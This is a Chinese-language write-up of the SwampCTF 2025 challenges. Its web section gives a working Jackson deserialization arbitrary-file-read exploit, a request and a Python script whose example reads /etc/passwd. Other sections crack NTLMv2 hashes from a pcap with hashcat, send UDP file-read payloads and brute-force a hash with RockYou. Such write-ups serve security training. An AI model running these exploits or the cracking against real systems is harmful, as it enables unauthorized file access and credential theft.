SwampCTF2025 by Pwn13ss

Web

Serialies

  1. Jackson的配置 (JacksonConfig.java)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Configuration
public class JacksonConfig {
@Bean
public ObjectMapper objectMapper() {
ObjectMapper objectMapper = new ObjectMapper();
PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
.allowIfSubType("com.serialies.serialies.Person")
.allowIfSubType("com.serialies.serialies.Address")
.allowIfSubType("com.serialies.serialies.Job")
.build();
objectMapper.activateDefaultTyping(ptv, ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
return objectMapper;
}
}

这段代码配置了Jackson如何处理多态类型:

  • activateDefaultTyping允许通过JSON指定具体类型
  • 虽然使用了PolymorphicTypeValidator进行白名单限制,但允许了三个关键类
  • 漏洞点:Job类的文件读取功能 (Job.java)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Job {
private String title;
private String company;
private double salary;
private String resume;
private String resumeURI;

public void init() throws IOException {
if (resumeURI != null) {
URI fileUri = URI.create(resumeURI);
this.resume = new String(Files.readAllBytes(Paths.get(fileUri)));
}
}
// getters and setters...
}

关键漏洞在init()方法中:

  • 通过URI.create(resumeURI)创建URI对象
  • 使用Files.readAllBytes(Paths.get(fileUri))读取文件内容
  • 没有任何路径验证或限制,可以读取任意文件
  • 触发点:PersonController (PersonController.java)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@RestController
@RequestMapping("/api/person")
public class PersonController {
private List<Person> persons = new ArrayList<>();

@PostMapping
public String createPerson(@RequestBody Person person) {
if (person.getAddress() == null) {
throw new IllegalArgumentException("Address is required");
}
if (person.getJob() != null) {
try {
person.getJob().init(); // 漏洞触发点
} catch (IOException e) {
throw new RuntimeException("Error", e);
}
}
persons.add(person);
return "Person has been created with ID: " + person.getId();
}

@GetMapping
public List<Person> getAllPersons() {
return persons;
}
// ...
}

这里是漏洞链的触发点:

  • @RequestBody Person person自动反序列化请求体为Person对象
  • 检查Address是否存在,所以攻击需提供Address对象
  • 关键点:调用person.getJob().init(),执行文件读取功能
  • Person和Address类 (基础结构)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Person {
private UUID id;
private String name;
private int age;
private Address address;
private Job job;
// ...getters and setters
}

public class Address {
private String street;
private String city;
private String state;
private String zipCode;
// ...getters and setters
}

完整攻击链分析

  1. 请求处理流程

    1. /api/person发送POST请求,包含特定结构的JSON
    2. Spring框架调用Jackson解析JSON为Java对象
    3. 根据@class属性确定具体类型,构造对象的完整类层次结构
    4. 将JSON属性值映射到Java对象属性
  2. 漏洞利用触发

    1. PersonController.createPerson()接收反序列化后的Person对象
    2. 验证Address存在
    3. 执行person.getJob().init()
    4. Job对象的init()方法读取resumeURI指定的文件(如file:///flag)
  3. 数据获取

    1. 文件内容被存储在Job对象的resume属性中
    2. Controller将Person对象保存在内存列表中
    3. 通过GET请求/api/person可以获取所有Person对象,包括flag内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /api/person HTTP/1.1
Host: chals.swampctf.com:44444
Content-Type: application/json
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0

{
"@class": "com.serialies.serialies.Person",
"name": "test",
"age": 25,
"address": {
"@class": "com.serialies.serialies.Address",
"street": "test",
"city": "test",
"state": "test",
"zipCode": "test"
},
"job": {
"@class": "com.serialies.serialies.Job",
"title": "Hacker",
"company": "CTF",
"salary": 0,
"resumeURI": "file:///flag.txt"
}
}

img

再去访问这个路由

http://chals.swampctf.com:44444/api/person

img

下面是完整的Python漏洞利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python3
import requests
import json
import sys

# 目标URL (根据实际情况修改)
TARGET_URL = "http://localhost:9090" # 改为实际CTF服务器地址

def exploit(target_file="/flag"):
"""
利用Jackson反序列化漏洞读取目标文件内容

参数:
target_file: 要读取的文件路径,默认为/flag
"""
print(f"[*] 目标: {TARGET_URL}")
print(f"[*] 尝试读取文件: {target_file}")

# 构造Payload
payload = {
"@class": "com.serialies.serialies.Person",
"name": "hacker",
"age": 25,
"address": {
"@class": "com.serialies.serialies.Address",
"street": "Hack Street",
"city": "Exploit City",
"state": "Payload State",
"zipCode": "31337"
},
"job": {
"@class": "com.serialies.serialies.Job",
"title": "Security Researcher",
"company": "CTF Team",
"salary": 1337.0,
"resumeURI": f"file://{target_file}"
}
}

# 设置请求头
headers = {
"Content-Type": "application/json"
}

try:
# 步骤1: 发送POST请求创建包含文件内容的Person对象
print("[*] 发送漏洞利用请求...")
response = requests.post(
f"{TARGET_URL}/api/person",
data=json.dumps(payload),
headers=headers
)

if response.status_code != 200:
print(f"[!] 请求失败: {response.status_code} - {response.text}")
return False

print(f"[+] 成功创建Person对象: {response.text}")

# 步骤2: 获取包含flag的Person对象列表
print("[*] 获取Person对象列表...")
response = requests.get(f"{TARGET_URL}/api/person")

if response.status_code != 200:
print(f"[!] 获取失败: {response.status_code}")
return False

# 解析结果
persons = response.json()
if not persons:
print("[!] 没有找到任何Person对象")
return False

# 查找最后创建的Person对象并提取flag
latest_person = persons[-1] # 假设最后一个就是我们刚创建的

if "job" in latest_person and "resume" in latest_person["job"]:
flag_content = latest_person["job"]["resume"]
print("\n[+] 找到文件内容:")
print("-" * 40)
print(flag_content)
print("-" * 40)
return True
else:
print("[!] Person对象中没有包含文件内容")
print(json.dumps(latest_person, indent=2))
return False

except Exception as e:
print(f"[!] 发生错误: {str(e)}")
return False

if __name__ == "__main__":
# 从命令行参数获取目标文件路径,默认为/flag
target_file = sys.argv[1] if len(sys.argv) > 1 else "/flag"

# 从命令行参数获取目标URL,默认为上面定义的
if len(sys.argv) > 2:
TARGET_URL = sys.argv[2]

exploit(target_file)

使用方法:

1
2
3
4
5
6
7
8
# 基本用法 (读取/flag.txt文件)
python3 exploit.py

# 指定目标文件
python3 exploit.py /etc/passwd

# 指定文件和URL
python3 exploit.py /flag.txt http://challenge.example.com:9090

Forensic

Homeword Help

I accidently lost some of my class notes! Can you help me recover it? (Note: Unzipped size is 4GB)

FTK挂载,发现一个word文档

img

打开文档,发现flag

img

swampCTF{n0thing_i5_3v3r_d3l3t3d}

Preferential Treatment

We have an old Windows Server 2008 instance that we lost the password for. Can you see if you can find one in this packet capture?

img

img

img

swampCTF{4v3r463_w1nd0w5_53cur17y}

Planetary Storage

My friend found this strange file while perusing his computer, but we can’t read it. Can you figure out what it is and get the information from it?

Difficulty: Easy/Medium

The flag is in the standard format.

附件给了ldb文件

image-20250331194336056

用LevelDBDumper解ldb包

.\LevelDBDumper.exe -d "D:\ctf\SwampCTF2025\Forensics\PlanetaryStorage\challenge" -o "D:\ctf\SwampCTF2025\Forensics\PlanetaryStorage\output" -f "db.txt" -t "csv" -q

  • -d--dir:指定包含 .ldb 文件的目录。这是必需的参数。
  • -o--outputDir:指定输出文件的目录。
  • -f--outputFile:指定输出文件的文件名。
  • -t--outputType:指定输出格式,可以是 csvjson
  • -q--quiet:静默模式,不将键值对输出到控制台。
  • -b--batch:将所有输出文件合并为一个文件。
  • -c--clean-output:清理输出文件中的非可视字符。
  • -z--timezone:指定时区,默认为 UTC。

提取到内容:

1
2
3
Key,Value
/_localHeads,"[{""payload"":""eyJrZXkiOiJcIjMzNTc5M2Q1LTRhYzEtNDgyMy05MmM3LWZkM2I1YTZhMmEwN1wiIiwib3AiOiJQVVQiLCJ2YWx1ZSI6ImV5SmtZWFJoSWpwYkluTjNZVzF3UTFSR2V6RndaalV0WWpRMU0yUXRaRFEzTkdJME5UTjlJbDBzSW1sa0lqb2lYQ0l6TXpVM09UTmtOUzAwWVdNeExUUTRNak10T1RKak55MW1aRE5pTldFMllUSmhNRGRjSWlKOSJ9"",""id"":""/orbitdb/bafyreiejrtaennxufa3wvkdvyoj6ywq6nid3lukdqcnx2fc33tckzjzbke/ctf"",""next"":[{""/"":""bafyreibbadm2ajrr6io6ufqidibrpdjfpdyfobp2aqvmcprqu5yrk7mq6q""}],""refs"":[{""/"":""bafyreiesvykh6wt7hn4fry4mphv6ckxr5wq3c2fecvcjbqs4scbkizc6jm""},{""/"":""bafyreihq7osywkglsjxn5lmbegtc7izqmb66atx5trkrpcmlvtcyrr6nuy""},{""/"":""bafyreiab6do7qxgjipiypoj754vicpuscejf43eguvo2ykb2igoyrtkl64""}],""v"":2,""key"":""BJx/DXfZOVG6YkoHDGQvNQVMBaoeaEdEvcKFJP0PM1m3h9/o8lJgnTQkqGCAKovuOCovsDHQ5JOVs7qpJm3V8Ks="",""sig"":""MEQCIF5FwOBiQKgEI7njg6He6iAlwNc+Gj8+PAll5o1PCGhKAiBlnXg9+hinX6AGB2r0uXoJ3q9Tbe6azh9euPx40G8uqw=="",""identity"":{""id"":""02020192715ea41d7eaaceb4bd19516d0d4f1e8a2e81903480083dbdbe99dfefc9"",""publicKey"":""BJx/DXfZOVG6YkoHDGQvNQVMBaoeaEdEvcKFJP0PM1m3h9/o8lJgnTQkqGCAKovuOCovsDHQ5JOVs7qpJm3V8Ks="",""signatures"":{""id"":""MEQCIGx+GRqmTfPqcUL28aG2p1Q2TNEfZ9QlCgB8WU4my68UAiBZClP9WMe385COJ0WuNnXRj7BIolRC2v6vhLqUt3Yk/w=="",""publicKey"":""MEQCIFC+7AikjMLabNvdHiHh7rwrFTbystu6xc2r1h/1Zr4jAiBFxjxIMNjfI5J996HDYEQd+fnaKDi5GlNw5hgl+RwEOg==""},""type"":""orbitdb"",""Provider"":null},""hash"":{""/"":""bafyreihq6d33ifjj6jbmjptygyksgwzcrjm5kxarbbp6djbzqx2exij27u""},""clock"":{""id"":""BJx/DXfZOVG6YkoHDGQvNQVMBaoeaEdEvcKFJP0PM1m3h9/o8lJgnTQkqGCAKovuOCovsDHQ5JOVs7qpJm3V8Ks="",""time"":7}}]"

payload部分base64解码

image-20250331194455003

image-20250331194532775

swampCTF{1pf5-b453d-d474b453}

MuddyWater

We caught a threat actor, called MuddyWater, bruteforcing a login for our Domain Controller. We have a packet capture of the intrustion. Can you figure out which account they logged in to and what the password is?

Flag format is swampCTF{<username>:<password>}

筛选SMB2,找到验证通过时的数据包

img

寻找报文的上下关系

img

ntlmssp_auto下找到NTProofstr和NTLMv2 Response(NTLMv2 Response开头包含了NTProofstr的值,需要去掉)

img

同时找到domain和user name

img

ntlmssp_challenge下找到NTLM Server Challenge的值

img

username::domain:ntlmv2_response.chall:ntproofstr:不包含ntproofstr的ntlmv2_response值

1
2
### smb2.txt
hackbackzip::DESKTOP-0TNOE4V:d102444d56e078f4:eb1b0afc1eef819c1dccd514c9623201:01010000000000006f233d3d9f9edb01755959535466696d0000000002001e004400450053004b0054004f0050002d00300054004e004f0045003400560001001e004400450053004b0054004f0050002d00300054004e004f0045003400560004001e004400450053004b0054004f0050002d00300054004e004f0045003400560003001e004400450053004b0054004f0050002d00300054004e004f00450034005600070008006f233d3d9f9edb010900280063006900660073002f004400450053004b0054004f0050002d00300054004e004f004500340056000000000000000000

hashcat爆破

1
2
3
 34405@Warmlight D:\....\hashcat-6.2.6  .\hashcat.exe -m 5600 .\smb2.txt .\passphrases.txt --show
HACKBACKZIP::DESKTOP-0TNOE4V:d102444d56e078f4:eb1b0afc1eef819c1dccd514c9623201:01010000000000006f233d3d9f9edb01755959535466696d0000000002001e004400450053004b0054004f0050002d00300054004e004f0045003400560001001e004400450053004b0054004f0050002d00300054004e004f0045003400560004001e004400450053004b0054004f0050002d00300054004e004f0045003400560003001e004400450053004b0054004f0050002d00300054004e004f00450034005600070008006f233d3d9f9edb010900280063006900660073002f004400450053004b0054004f0050002d00300054004e004f004500340056000000000000000000:pikeplace
 34405@Warmlight D:\....\hashcat-6.2.6 

img

Proto Proto

Moto Moto likes you. But not enough to explain how his server works. We got a pcap of the client and server communicating. Can you figure out how the server works and retrieve the flag?

chals.swampctf.com:44254

给的url无法访问

image-20250331115508754

筛选UDP流量,发现flag字符(假的)

image-20250331115841058

追踪UDP流,通信过程未进行加密,客户端先请求读取flag,然后服务端进行数据响应,我们可通过UDP服务请求先服务端来读取flag

image-20250331114442536

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket

# 设置服务器地址和端口
server = "chals.swampctf.com"
port = 44254

# 定义负载
payload = b"\x02\x08\x66\x6c\x61\x67\x2e\x74\x78\x74" #"flag.txt"的二进制编码
# \x02表示命令
# \x08表示filename的长度len(flag.txt)

# 创建UDP套接字
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# socket.AF_INET:指定使用IPv4地址族。
# socket.SOCK_DGRAM:指定使用UDP协议。


# 发送负载到服务器
s.sendto(payload, (server, port))

# 接收服务器的响应
response, addr = s.recvfrom(4096)

# 打印响应
print("HEX response:", response.hex())
print("Decoded response:", response.decode(errors='ignore'))

s.close()

image-20250331111832079

swampCTF{r3v3r53_my_pr070_l1k3_m070_m070}

Proto Proto 2

Moto Moto heard you were able to reverse his server code, so he set up some “encryption”. Can you figure out the key and retrieve the flag?

chals.swampctf.com:44255

跟上一题一样的思路,首先筛选UDP流并追踪

image-20250331155544413

可以看到客户端请求内容为:super_secret_password.flag.txt,这里查看flag文件需要传入一个password,

分析报文格式

image-20250331155731140

传输的数据格式如下:

1
2
3
4
5
6
key = b""
payload = b"\x02"
payload += len(key).to_bytes(1, byteorder='big')
payload += key
payload += len(b"flag.txt").to_bytes(1, byteorder='big')
payload += b"flag.txt"

根据题目信息,key设置为encryption,输出了flag的尾部

1
2
HEX response: 077f4666705641454e785c3037305f6d3037305f35384832425e32635732045f345f6e305f6e307d0a
Decoded response: FfpVAENx\070_m070_58H2B^2cW2_4_n0_n0}

key为swampCTF{y0u_kn0w_b3773r_7h4n_7h47}时,输出

1
2
3
4
HEX response: 07695f646f5f7265616c4b652c0c467a70340652686a11624278757f0a33350d32082b345c6d387f14
Decoded response: i_do_realKe,
Fzp4RhjbBxu
+4\m8

注意到i_do_real部分

再将i_do_real作为key输入为

1
2
3
HEX response: 077377616d704354467b5b0a3d3c7266252235590439490e4242237b57020e55054e7928437306760b
Decoded response: swampCTF{[
=<rf%"5Y9IBB#{WUNy(Csv

此时看到了flag的头部,大致可以猜测这是一个对称加密,加密秘钥为i_do_real_encryption

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import socket

key = b"i_do_real_encryption"
# 定义负载
payload = b"\x02"
payload += len(key).to_bytes(1, byteorder='big')
payload += key
payload += b"\x08\x66\x6c\x61\x67\x2e\x74\x78\x74"

server = 'chals.swampctf.com'
port = 44255

# 创建UDP套接字
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# socket.AF_INET:指定使用IPv4地址族。
# socket.SOCK_DGRAM:指定使用UDP协议。


# 发送负载到服务器
s.sendto(payload, (server, port))

# 接收服务器的响应
response, addr = s.recvfrom(4096)

# 打印响应
print("HEX response:", response.hex())
print("Decoded response:", response.decode(errors='ignore'))

s.close()

swampCTF{m070_m070_54y5_x0r_15_4_n0_n0}


Crypto

Rock my Password

Rock my Password—150

I’ve come up with an extremely secure(tm) way to store my password, noone will be able to reverse it! I’ve hashed it with md5 100 times, then sha256 100 times, then sha512 100 times! There’s no way you’re going to be able to undo it >:3 I’ll even tell you it was in the RockYou database, and the password is 10 characters long, that’s how confident I am!

The flag is in the format: swampCTF{RockYouPassword}

As a reminder, please don’t flood our infrastructure with guesses.

Hashed Password (Flag): f600d59a5cdd245a45297079299f2fcd811a8c5461d979f09b73d21b11fbb4f899389e588745c6a9af13749eebbdc2e72336cc57ccf90953e6f9096996a58dcc

Note: The entire flag (swampCTF{rockyoupassword}) was hashed to get the provided hash, not just rockyoupassword

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hashlib

def apply_hash_n_times(data, hash_func, n):
for _ in range(n):
data = hash_func(data).digest()
return data

def main():
target_hash = "f600d59a5cdd245a45297079299f2fcd811a8c5461d979f09b73d21b11fbb4f899389e588745c6a9af13749eebbdc2e72336cc57ccf90953e6f9096996a58dcc"

# Assuming rockyou.txt is in the same directory
with open('rockyou.txt', 'r', encoding='latin-1') as f:
for line in f:
password = line.strip()
if len(password) == 10:
flag = f"swampCTF{{{password}}}".encode('utf-8')

# MD5 100 times
md5_hash = flag
for _ in range(100):
md5_hash = hashlib.md5(md5_hash).digest()

# SHA256 100 times
sha256_hash = md5_hash
for _ in range(100):
sha256_hash = hashlib.sha256(sha256_hash).digest()

# SHA512 100 times
sha512_hash = sha256_hash
for _ in range(100):
sha512_hash = hashlib.sha512(sha512_hash).digest()

# Compare
if sha512_hash.hex() == target_hash:
print(f"Found password: {password}")
print(f"Flag: swampCTF{{{password}}}")
return

print("Password not found in rockyou.txt")

if __name__ == "__main__":
main()

swampCTF{secretcode}


rev

You Shall Not Passss

main()函数,前面都是在写字符串,动调直接跳过去,从sub_580F548E67E0()进去

img

sub_580F548E67E0()

img

动调之后,中间数据都转换成代码

img

转换过后可以看到加密验证的逻辑

img

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def decrypt_data(cipher, a):

flag = []
tmp = a
for byte in cipher:
# 计算当前的伪随机数
tmp = (330 * tmp + 100) % 0x8FF
# 恢复原始数据
original_byte = byte ^ (tmp & 0xFF)
flag.append(original_byte)
return flag

# 示例数据
cipher = [0xDD, 0x9A, 0xDE, 0x4E, 0x69, 0xE1, 0xE9, 0x2C, 0xD2, 0x4E, 0xEC, 0xE7, 0x18, 0x26, 0x6A, 0x56, 0x79, 0xD8, 0xA3, 0x55, 0x72, 0xBC, 0x76, 0xC4, 0x0C, 0x0F, 0x9B, 0xBE, 0xC6, 0x81, 0xE2, 0x41, 0x47, 0xA0, 0xF4, 0x26]
a = 1

# 解密数据
flag = decrypt_data(cipher, a)

# 将解密后的字节数据转换为字符串
decrypted_text = ''.join(chr(byte) for byte in flag)
print("flag:", decrypted_text)

swampCTF{531F_L0AD1NG_T0TALLY_RUL3Z}

这两道没做出来,给自己埋个坑,后面再补

Midi Melody

Midi is where the magic happens

Wamp Audio

I started recording my flags using a new codec I made called Wamp. However, I lost the decoder! Can you help?